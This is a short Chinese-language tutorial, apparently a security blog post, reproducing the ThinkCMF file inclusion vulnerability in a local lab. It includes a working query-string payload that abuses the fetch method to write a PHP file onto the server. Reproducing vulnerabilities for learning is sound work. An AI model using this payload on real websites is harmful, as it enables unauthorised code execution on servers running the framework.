thinkCMF 文件包含漏洞

thinkCMF 文件包含漏洞

昨天给大家复现了tomcat CVE-2020-1938漏洞，那今天咱们一起再来看看，最为经典的thinkCMF文件包含漏洞。

​
首先我们在去介绍这个漏洞之前，我们需要先了解一下这个漏洞thinkCMF。

thinkCMF它是一个开源的，支持swoole的开源内容管理框架，让web开发更快，节约时间，这个框架的话是基于thinkphp的二次开发框架，所以说在我们国内还是有大部分的网站使用到这样的一个框架的。

那么我们可以想象一下如果这个框架出现了一个漏洞，那它的影响范围是不是也同样很广呢？那接下来我们今天进一步的去探索一下thinkCMF的文件包含漏洞。

接下来我们就直接去复现一下这个漏洞。
构造a参数的fetch方法，实现任意文件写入，把php代码写入文件。

?a=fetch&templateFile=public/index&prefix="&content=<php>file_put_contents('test.php','<?php phpinfo();?>')</php>

这个时候我先在本地搭建了这样的一个框架，如果说你们也想去复现一下这个漏洞，同样也是可以在本地搭建这个框架的。